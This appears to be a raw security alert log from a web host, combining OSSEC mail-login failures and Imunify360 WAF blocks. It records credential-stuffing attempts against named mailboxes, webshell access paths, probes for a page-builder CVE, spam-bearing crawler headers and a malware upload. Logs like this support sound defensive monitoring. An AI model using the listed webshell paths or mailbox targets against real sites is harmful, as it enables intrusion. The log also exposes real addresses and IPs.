name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-06 01:42:21 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net ([118.122.196.230]) [111.70.3.122]:36824: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-06 01:42:26 dovecot_login authenticator failed for H=([45.167.250.173]) [122.185.146.106]:49178: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-06 01:42:51 dovecot_login authenticator failed for H=([197.156.97.198]) [188.122.37.97]:52728: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.89.206.236
country_id: 2186224
description:
2026-07-06 01:43:40 dovecot_login authenticator failed for H=219-89-206-236.adsl.xtra.co.nz (mail.damaiso1haiduong.vn) [219.89.206.236]:44812: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.140
country_id: 1269750
description:
2026-07-06 01:43:49 dovecot_login authenticator failed for H=([122.187.230.140]) [122.187.230.140]:44308: 535 Incorrect authentication data (set_id=dins@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvac-emergency-hvac-grant-fl.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 47.86.33.52
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.149.207
country_id: 163843
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2019/01/20/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-06 01:55:21 dovecot_plain authenticator failed for H=(unbribrom) [122.187.221.130]:57330: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-06 01:55:46 dovecot_login authenticator failed for H=(starik.Obninsk.ru) [196.189.126.185]:57886: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 88.226.8.221
country_id: 298795
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:51350.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:66299cc30b49e33e25533f79af9270f5ec7b6ac4||Title:0x699b91ff||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-06 01:59:08 dovecot_login authenticator failed for H=([184.181.178.35]) [172.90.128.97]:56385: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.133.182
country_id: 1835841
description:
2026-07-06 02:01:29 dovecot_login authenticator failed for H=([192.252.208.66]) [61.81.133.182]:47765: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-06 02:02:11 dovecot_login authenticator failed for H=(dhcp-192-211-180.in2cable.com) [45.82.110.150]:50770: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-06 02:03:19 dovecot_login authenticator failed for H=([124.152.34.229]) [183.82.108.109]:38542: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-06 02:03:39 dovecot_login authenticator failed for H=([49.124.151.85]) [182.95.127.42]:55756: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.201.185
country_id: 1835841
description:
2026-07-06 02:04:47 dovecot_login authenticator failed for H=(abts-north-static-233.69.160.122.airtelbroadband.in) [121.188.201.185]:43341: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-06 02:05:10 dovecot_login authenticator failed for H=(64-98-193-92.tingfiber.com) [217.29.30.135]:36548: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-06 02:05:19 dovecot_login authenticator failed for H=([122.53.106.124]) [122.185.146.166]:57332: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-06 02:05:50 dovecot_login authenticator failed for H=([211.197.12.104]) [218.156.93.202]:50704: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-06 02:09:00 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net (95x79x57x221.static-business.nn.ertelecom.ru) [174.168.146.152]:38578: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187&image=1||QS:add-to-cart=10187&image=1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187&image=1&rating=5||QS:add-to-cart=10187&image=1&rating=5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-06 02:10:21 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [91.86.88.24]:45748: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-06 02:10:36 dovecot_login authenticator failed for H=([174.75.211.198]) [207.254.71.129]:57599: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10189&image=1&rating=3||QS:add-to-cart=10189&image=1&rating=3||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10193&image=1&rating=4||QS:add-to-cart=10193&image=1&rating=4||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-06 02:11:36 dovecot_login authenticator failed for H=([120.157.232.28]) [1.250.67.114]:43514: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.118.61.55
country_id: 3625428
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/29/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-06 02:11:53 dovecot_login authenticator failed for H=([174.77.111.220]) [144.24.209.174]:53690: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-06 02:12:47 dovecot_login authenticator failed for H=([176.57.76.206]) [64.49.97.15]:42758: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-06 02:12:52 dovecot_login authenticator failed for H=([27.39.128.127]) [143.202.162.196]:34698: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-06 02:12:37 dovecot_login authenticator failed for H=(113-11-34-221.broadband.smile.com.bd) [182.95.228.194]:42288: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10240&verified=1||QS:add-to-cart=10240&verified=1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10536&verified=1&rating=1||QS:add-to-cart=10536&verified=1&rating=1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.187.122
country_id: 1269750
domain: mail.keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/keralapeople/public_html/uploads||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&rating=4&verified=1&add-to-cart=10187||QS:image=1&rating=4&verified=1&add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-06 02:15:38 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([49.124.149.55]) [83.226.56.106]:57488: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&verified=1&rating=1&add-to-cart=10189||QS:image=1&verified=1&rating=1&add-to-cart=10189||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-06 02:17:09 dovecot_login authenticator failed for H=(31.73.95.218.broad.yc.jx.dynamic.163data.com.cn) [27.72.46.152]:38170: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-07-06 02:17:24 dovecot_login authenticator failed for H=([123.163.52.74]) [185.112.148.66]:43944: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&verified=1&rating=3&add-to-cart=10240||QS:image=1&verified=1&rating=3&add-to-cart=10240||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.175.20.14
country_id: 3686110
description:
2026-07-06 02:17:08 dovecot_login authenticator failed for H=([49.124.151.17]) [45.175.20.14]:60769: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-06 02:17:32 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([206.84.230.48]) [223.25.108.2]:35322: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?verified=1&rating=1&image=1&add-to-cart=10240||QS:verified=1&rating=1&image=1&add-to-cart=10240||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?verified=1&rating=3&add-to-cart=10193||QS:verified=1&rating=3&add-to-cart=10193||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?verified=1&rating=4&image=1&add-to-cart=10189||QS:verified=1&rating=4&image=1&add-to-cart=10189||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 91.65.123.43
country_id: 2921044
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?verified=1&rating=5&image=1&add-to-cart=10193||QS:verified=1&rating=5&image=1&add-to-cart=10193||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-06 02:23:38 dovecot_login authenticator failed for H=([182.95.150.106]) [128.185.33.241]:46043: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.130.174.9
country_id: 1210997
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/22/strategy-development-for-clients/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.184
country_id: 2215636
description:
2026-07-06 02:32:16 dovecot_login authenticator failed for H=([186.177.88.81]) [102.38.3.184]:50425: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-06 02:37:50 dovecot_login authenticator failed for H=([117.173.101.132]) [182.95.109.138]:48134: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-06 02:38:00 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([183.71.251.66]) [78.66.44.246]:39214: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 179.5.178.111
country_id: 3585968
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:29164.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e750488627b66c0a6080998f44a44b711056373f||Title:0x18931c3a||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 192.249.120.176
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico9837d7/fonts/ff53773.PHP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://awards.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 192.249.120.176
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico290ebb/fonts/ff803de.PHP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 192.249.120.176
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico9090a3/fonts/f44421e.PHP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 192.249.120.176
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico160082/fonts/fb34599.PHP||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-06 02:44:44 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([117.158.166.73]) [24.142.170.231]:47384: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-06 02:45:03 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [122.160.137.230]:36995: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 192.249.120.176
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ico23b2bf/fonts/fbd62f0.PHP||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 97.116.15.205
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://purealignhealth.com/product/eye-massager\">eye massager eye massager with heat eye massager for migraines eye massager with heat and cooling eye massager intelligent eye care eye massager for dry eyes the smart eye massager vibrating eye massager</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.19.185
country_id: 1861060
domain: jaashsupplies.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/jaashsupplies/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.204.64.196
country_id: 3489940
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/feed/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.172.19
country_id: 1168579
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/comments/feed/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 64.89.162.198
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 64.89.162.198
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Block .suspected files||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 192.99.102.200
country_id: 6251999
domain: gsmex.global
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/gsmex/public_html/064d190dd0index.php||User:gsmex||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 192.99.102.200
country_id: 6251999
domain: gsmex.global
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:4925203||Sizes:72477||Combined size:72477||User:gsmex||WPU:||Filename:php8.php||Scanned:/tmp//20260706-025810-akrMak2uiw-23LDY21Kq5wAAANQ-file-BVXZlX||SC:/home/gsmex/public_html/064d190dd0index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 192.99.102.200
country_id: 6251999
domain: gsmex.global
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.25||T:APACHE||MV:uploadFile||SC:/home/gsmex/public_html/064d190dd0index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.190.98.120
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-06 03:11:19 dovecot_login authenticator failed for H=([27.223.98.117]) [219.248.4.146]:60826: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/vrishenterprises/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.177.88.108
country_id: 3624060
description:
2026-07-06 03:11:45 dovecot_login authenticator failed for H=([192.252.208.66]) [186.177.88.108]:39412: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-06 03:17:15 dovecot_login authenticator failed for H=([112.116.48.163]) [112.161.42.97]:55144: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-06 03:17:30 dovecot_login authenticator failed for H=([111.0.81.84]) [118.220.149.121]:37832: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-06 03:17:38 dovecot_login authenticator failed for H=([174.64.199.85]) [202.62.88.25]:56492: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-06 03:18:00 dovecot_login authenticator failed for H=([111.171.125.94]) [119.198.191.180]:33921: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-06 03:18:44 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (193.210.177.45.fronteirainternet.com.br) [155.4.31.215]:46902: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-06 03:19:08 dovecot_login authenticator failed for H=(ool-457e901e.dyn.optonline.net) [211.116.107.222]:44206: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-06 03:19:24 dovecot_login authenticator failed for H=([194.62.136.207]) [101.13.4.124]:43960: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.187.56.108
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-07-06 03:26:28 dovecot_login authenticator failed for H=(95x79x57x221.static-business.nn.ertelecom.ru) [122.187.230.183]:36145: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.209.137
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.146
country_id: 1835841
description:
2026-07-06 03:26:59 dovecot_login authenticator failed for H=([192.111.134.12]) [218.149.228.146]:53365: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-06 03:30:44 dovecot_login authenticator failed for H=([103.163.44.10]) [1.227.228.131]:40122: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-06 03:31:07 dovecot_login authenticator failed for H=([58.30.60.250]) [122.184.124.46]:36186: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-07-06 03:31:21 dovecot_login authenticator failed for H=(59-120-8-61.hinet-ip.hinet.net) [106.201.232.211]:45781: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-06 03:31:51 dovecot_login authenticator failed for H=([172.167.156.153]) [98.122.215.23]:36966: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 94.130.11.28
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.199.161.144
country_id: 6252001
description:
2026-07-06 03:32:29 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (mauricy) [73.199.161.144]:40118: 535 Incorrect authentication data (set_id=admin@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.72.176.66
country_id: 2542007
description:
2026-07-06 03:32:32 dovecot_plain authenticator failed for H=(leintria) [105.72.176.66]:59006: 535 Incorrect authentication data (set_id=admin@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.84.188
country_id: 7626844
description:
2026-07-06 03:36:18 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [200.107.84.188]:33447: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
